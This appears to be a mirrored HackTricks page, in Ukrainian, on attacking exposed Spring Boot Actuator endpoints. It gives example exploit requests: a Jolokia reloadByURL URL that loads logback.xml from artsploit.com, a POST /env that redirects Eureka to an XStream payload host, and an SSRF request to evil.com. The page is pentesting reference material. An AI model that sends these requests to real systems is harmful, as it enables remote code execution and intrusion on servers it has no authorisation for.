mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
4.8 KiB
4.8 KiB
Spring Actuators
{{#include ../../banners/hacktricks-training.md}}
Spring Auth Bypass

З https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png
Використання Spring Boot Actuators
Перегляньте оригінальну публікацію з [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Ключові моменти:
- Spring Boot Actuators реєструють кінцеві точки, такі як
/health
,/trace
,/beans
,/env
тощо. У версіях з 1 до 1.4 ці кінцеві точки доступні без аутентифікації. З версії 1.5 і далі лише/health
та/info
за замовчуванням не є чутливими, але розробники часто відключають цю безпеку. - Деякі кінцеві точки Actuator можуть розкривати чутливі дані або дозволяти шкідливі дії:
/dump
,/trace
,/logfile
,/shutdown
,/mappings
,/env
,/actuator/env
,/restart
та/heapdump
.- У Spring Boot 1.x актюатори реєструються під кореневою URL, тоді як у 2.x вони знаходяться під базовим шляхом
/actuator/
.
Техніки експлуатації:
- Віддалене виконання коду через '/jolokia':
- Кінцева точка актора
/jolokia
відкриває бібліотеку Jolokia, яка дозволяє HTTP доступ до MBeans. - Дію
reloadByURL
можна експлуатувати для перезавантаження конфігурацій журналювання з зовнішнього URL, що може призвести до сліпого XXE або віддаленого виконання коду через спеціально підготовлені XML конфігурації. - Приклад URL для експлуатації:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
- Модифікація конфігурації через '/env':
- Якщо присутні бібліотеки Spring Cloud, кінцева точка
/env
дозволяє модифікацію властивостей середовища. - Властивості можуть бути маніпульовані для експлуатації вразливостей, таких як вразливість десеріалізації XStream у службі Eureka serviceURL.
- Приклад POST запиту для експлуатації:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
- Інші корисні налаштування:
- Властивості, такі як
spring.datasource.tomcat.validationQuery
,spring.datasource.tomcat.url
таspring.datasource.tomcat.max-active
, можуть бути маніпульовані для різних експлуатацій, таких як SQL-ін'єкція або зміна рядків підключення до бази даних.
Додаткова інформація:
- Повний список стандартних актюаторів можна знайти тут.
- Кінцева точка
/env
у Spring Boot 2.x використовує формат JSON для модифікації властивостей, але загальна концепція залишається такою ж.
Супутні теми:
- Env + H2 RCE:
- Деталі про експлуатацію комбінації кінцевої точки
/env
та бази даних H2 можна знайти тут.
- SSRF на Spring Boot через неправильну інтерпретацію імені шляху:
- Обробка матричних параметрів (
;
) у HTTP іменах шляхів фреймворком Spring може бути використана для Server-Side Request Forgery (SSRF). - Приклад запиту для експлуатації:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
{{#include ../../banners/hacktricks-training.md}}